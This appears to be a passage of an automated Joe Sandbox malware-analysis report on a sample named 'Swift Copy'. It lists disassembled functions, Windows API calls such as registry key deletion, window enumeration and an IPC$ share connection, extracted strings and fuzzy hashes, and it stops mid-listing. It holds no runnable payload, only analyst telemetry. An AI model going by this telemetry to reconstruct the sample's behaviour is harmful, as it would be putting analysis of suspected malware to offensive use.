Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: f54af76d1c4a77be3885aa6508ce7d08369a62dd74d8aa2c032f00fafc5dc9f2
Instruction ID: e1c36ebbb8129edc334210181e316db323d92547ef57cf6c23b8989a0030d526
Opcode Fuzzy Hash: f54af76d1c4a77be3885aa6508ce7d08369a62dd74d8aa2c032f00fafc5dc9f2
Instruction Fuzzy Hash: 2E61F275D00219EFCF04CFA8D884AAEBBB5FF48310F208529EA55B7250D771A951CFA0

Function 00DADA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00DADAA1

Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD659
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD66B
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD67D
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD68F
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD6A1
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD6B3
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD6C5
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD6D7
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD6E9
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD6FB
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD70D
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD71F
Part of subcall function 00DAD63C: _free.LIBCMT ref: 00DAD731

_free.LIBCMT ref: 00DADA96

Part of subcall function 00DA29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000), ref: 00DA29DE
Part of subcall function 00DA29C8: GetLastError.KERNEL32(00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000,00000000), ref: 00DA29F0

_free.LIBCMT ref: 00DADAB8
_free.LIBCMT ref: 00DADACD
_free.LIBCMT ref: 00DADAD8
_free.LIBCMT ref: 00DADAFA
_free.LIBCMT ref: 00DADB0D
_free.LIBCMT ref: 00DADB1B
_free.LIBCMT ref: 00DADB26
_free.LIBCMT ref: 00DADB5E
_free.LIBCMT ref: 00DADB65
_free.LIBCMT ref: 00DADB82
_free.LIBCMT ref: 00DADB9A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 18059647d9a3c790b67114ff89ac54d5239e64553fb1bec7b141c78de260b7cd
Instruction ID: 646382d0471e58c1f6c3bd7b8937fbce5d616fcffafecba55248b7af683ca432
Opcode Fuzzy Hash: 18059647d9a3c790b67114ff89ac54d5239e64553fb1bec7b141c78de260b7cd
Instruction Fuzzy Hash: EC318D326443049FEB61AA39E845B6B77EAFF12710F294819E48AD7591DF30EC40CB31

Function 00DD365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00DD369C
_wcslen.LIBCMT ref: 00DD36A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00DD3797
GetClassNameW.USER32(?,?,00000400), ref: 00DD380C
GetDlgCtrlID.USER32(?), ref: 00DD385D
GetWindowRect.USER32(?,?), ref: 00DD3882
GetParent.USER32(?), ref: 00DD38A0
ScreenToClient.USER32(00000000), ref: 00DD38A7
GetClassNameW.USER32(?,?,00000100), ref: 00DD3921
GetWindowTextW.USER32(?,?,00000400), ref: 00DD395D

Strings

%s%u, xrefs: 00DD3734

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: b1357378017baee7f35add24b283f6aa03d3efb6b03bf7a607774266f2c65353
Instruction ID: bfcfab8b0faee9c47420adb0444c850cf36bd93014f6b2282362e9f46bdf7c1e
Opcode Fuzzy Hash: b1357378017baee7f35add24b283f6aa03d3efb6b03bf7a607774266f2c65353
Instruction Fuzzy Hash: 2591F871204706AFD715DF24C895FAAF7A8FF44350F04462AF999D2290DB31EA49CBB2

Function 00DD4954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00DD4994
GetWindowTextW.USER32(?,?,00000400), ref: 00DD49DA
_wcslen.LIBCMT ref: 00DD49EB
CharUpperBuffW.USER32(?,00000000), ref: 00DD49F7
_wcsstr.LIBVCRUNTIME ref: 00DD4A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00DD4A64
GetWindowTextW.USER32(?,?,00000400), ref: 00DD4A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00DD4AE6
GetClassNameW.USER32(?,?,00000400), ref: 00DD4B20
GetWindowRect.USER32(?,?), ref: 00DD4B8B

Strings

ThumbnailClass, xrefs: 00DD4A6F, 00DD4AF1

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: edbea543d01ecb1712f0da2f110d10c6f5872e7f3e5647e28205dc579f6cdecf
Instruction ID: bf17995617dd2b6ea49dd734f88b5b06d390da7819bc17711a934fbba81165e3
Opcode Fuzzy Hash: edbea543d01ecb1712f0da2f110d10c6f5872e7f3e5647e28205dc579f6cdecf
Instruction Fuzzy Hash: 9591DE310042059FDB04CF14C985BAAB7E8FF54714F08856BFD899A296EB31ED49CBB1

Function 00DFCC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00DFCC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00DFCC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00DFCD48

Part of subcall function 00DFCC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00DFCCAA
Part of subcall function 00DFCC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00DFCCBD
Part of subcall function 00DFCC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00DFCCCF
Part of subcall function 00DFCC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00DFCD05
Part of subcall function 00DFCC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00DFCD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 00DFCCF3

Strings

RegDeleteKeyExW, xrefs: 00DFCCC9
advapi32.dll, xrefs: 00DFCCB8

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: d43043300fcf7759bbd6b2a54a921e9ad875192051f56221101513b0ad11751a
Instruction ID: 853ed75dd0d504e64cd3b0067a0e5d5ae797ade0addcd79572430a923c36b096
Opcode Fuzzy Hash: d43043300fcf7759bbd6b2a54a921e9ad875192051f56221101513b0ad11751a
Instruction Fuzzy Hash: 8C318D7190112CBFDB208B91DD88EFFBB7CEF45750F154265BA06E2240DB309A89DAB0

Function 00DDE6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00DDE6B4

Part of subcall function 00D8E551: timeGetTime.WINMM(?,?,00DDE6D4), ref: 00D8E555

Sleep.KERNEL32(0000000A), ref: 00DDE6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 00DDE705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00DDE727
SetActiveWindow.USER32 ref: 00DDE746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00DDE754
SendMessageW.USER32(00000010,00000000,00000000), ref: 00DDE773
Sleep.KERNEL32(000000FA), ref: 00DDE77E
IsWindow.USER32 ref: 00DDE78A
EndDialog.USER32(00000000), ref: 00DDE79B

Strings

BUTTON, xrefs: 00DDE719

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: bfac60d44e5d2da68d60312f9bf6331bbe3eb77ccedf7196cfebbb7f68fc2cf5
Instruction ID: c7ab268b0b841188a472224f90c112483798146b9520702774cb47480cf67547
Opcode Fuzzy Hash: bfac60d44e5d2da68d60312f9bf6331bbe3eb77ccedf7196cfebbb7f68fc2cf5
Instruction Fuzzy Hash: C521F674200200BFEB106F33EC89A363B69F755748F65156AF505A52A1DB72EC8D9B31

Function 00DDE9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00DDEA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00DDEA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00DDEA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00DDEA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00DDEAA7

Strings

play PlayMe, xrefs: 00DDEAA2
play PlayMe wait, xrefs: 00DDEA91
close PlayMe, xrefs: 00DDEA6E, 00DDEA9B
alias PlayMe, xrefs: 00DDEA36
open , xrefs: 00DDEA0C
status PlayMe mode, xrefs: 00DDEA58

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: f08a6e2de07379bc915b184d8f0047994d492c64401070d21dd40877252f3577
Instruction ID: 6d0376fe64c26a678c20b906671264d7183753fba4044dd77c5eb8aa62040464
Opcode Fuzzy Hash: f08a6e2de07379bc915b184d8f0047994d492c64401070d21dd40877252f3577
Instruction Fuzzy Hash: 9C115131A9026979D720B7B6DC4AEFF6F7CEBD1B00F04542A7415A60D1EF704945C5B0

Function 00DD5CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00DD5CE2
GetWindowRect.USER32(00000000,?), ref: 00DD5CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00DD5D59
GetDlgItem.USER32(?,00000002), ref: 00DD5D69
GetWindowRect.USER32(00000000,?), ref: 00DD5D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00DD5DCF
GetDlgItem.USER32(?,000003E9), ref: 00DD5DDD
GetWindowRect.USER32(00000000,?), ref: 00DD5DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00DD5E31
GetDlgItem.USER32(?,000003EA), ref: 00DD5E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00DD5E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00DD5E67

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 6fb1e8f26fa3ebce0e9f9ef5e427afde8323938f5ac722a5c0719e1382790f04
Instruction ID: ef00aee3ac0f77eabb6d62c95607067ba57f0d2aea87d3b54b608336338ce0af
Opcode Fuzzy Hash: 6fb1e8f26fa3ebce0e9f9ef5e427afde8323938f5ac722a5c0719e1382790f04
Instruction Fuzzy Hash: 7B514170B00605AFDF18CF69DD89AAE7BB5FB48700F248229F515E7294D7719E44CB60

Function 00D88BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00D88F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00D88BE8,?,00000000,?,?,?,?,00D88BBA,00000000,?), ref: 00D88FC5

DestroyWindow.USER32(?), ref: 00D88C81
KillTimer.USER32(00000000,?,?,?,?,00D88BBA,00000000,?), ref: 00D88D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00DC6973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00D88BBA,00000000,?), ref: 00DC69A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00D88BBA,00000000,?), ref: 00DC69B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00D88BBA,00000000), ref: 00DC69D4
DeleteObject.GDI32(00000000), ref: 00DC69E6

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 9c37e545d2a88695270ec64bec0e47726d1ab5380b63e5138edc37a8532d8d0d
Instruction ID: 332e3011917421c8fa9b6dbd880b7b742297cfcdb14191332f781a0fae3c45b6
Opcode Fuzzy Hash: 9c37e545d2a88695270ec64bec0e47726d1ab5380b63e5138edc37a8532d8d0d
Instruction Fuzzy Hash: A161AB34102601DFDB25AF26D948B2977F1FB81312F58455CE182AB5A4CB32E8C9EFB0

Function 00D89838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00D89944: GetWindowLongW.USER32(?,000000EB), ref: 00D89952

GetSysColor.USER32(0000000F), ref: 00D89862

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 5b1e8fc5014cced86511f8d163d3aa4dffb2858aa4fb1b065a81037b34d9c1bf
Instruction ID: 1fef07c00c9c1fda81f0fb6a79e11c356f1e0d6dadaccae263a2c163f8753458
Opcode Fuzzy Hash: 5b1e8fc5014cced86511f8d163d3aa4dffb2858aa4fb1b065a81037b34d9c1bf
Instruction Fuzzy Hash: A7419D31104641AFDB206F399C98BB97BB5EB06320F2C461AF9E2971E1C7319C82DB30

Function 00DD96E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,00DBF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00DD9717
LoadStringW.USER32(00000000,?,00DBF7F8,00000001), ref: 00DD9720

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00DBF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00DD9742
LoadStringW.USER32(00000000,?,00DBF7F8,00000001), ref: 00DD9745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00DD9866

Strings

Line %d:, xrefs: 00DD97A0
Error: , xrefs: 00DD981D
Line %d (File "%s"):, xrefs: 00DD978F
^ ERROR, xrefs: 00DD97FB
%s (%d) : ==> %s: %s %s, xrefs: 00DD984A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: bf21c7c12647dd7e81eb5c69e39e79989bc985ca9a635452559d9bed5404efa1
Instruction ID: 654f9a9f119a55440382e4e2c7108a816536af0753da9b2b21d5e15309e9a71e
Opcode Fuzzy Hash: bf21c7c12647dd7e81eb5c69e39e79989bc985ca9a635452559d9bed5404efa1
Instruction Fuzzy Hash: EC413A72800219AACB14EBE0CD96DEEB778EF55740F608126F60972192FA356F48CB71

Function 00DD06DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00D76B57: _wcslen.LIBCMT ref: 00D76B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00DD07A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00DD07BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00DD07DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00DD0804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00DD082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00DD0837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00DD083C

Strings

\IPC$, xrefs: 00DD0784
\CLSID, xrefs: 00DD0724
SOFTWARE\Classes\, xrefs: 00DD070E

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 8f8ea7538ac399426fa1bc0c9fd0d3fdedddc575afa489b0ec6a1303bc9a0902
Instruction ID: e2a5e9a37324e29a08cb8f857a07b376eb6028e78e8b5b67a57dc850e5fea53b
Opcode Fuzzy Hash: 8f8ea7538ac399426fa1bc0c9fd0d3fdedddc575afa489b0ec6a1303bc9a0902
Instruction Fuzzy Hash: 67411772810228ABCF11EBA4DC95DEDB778FF54340F54812AE915B32A1EB309E44CBB0

Function 00DF3C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00DF3C5C
CoInitialize.OLE32(00000000), ref: 00DF3C8A
CoUninitialize.OLE32 ref: 00DF3C94
_wcslen.LIBCMT ref: 00DF3D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00DF3DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00DF3ED5
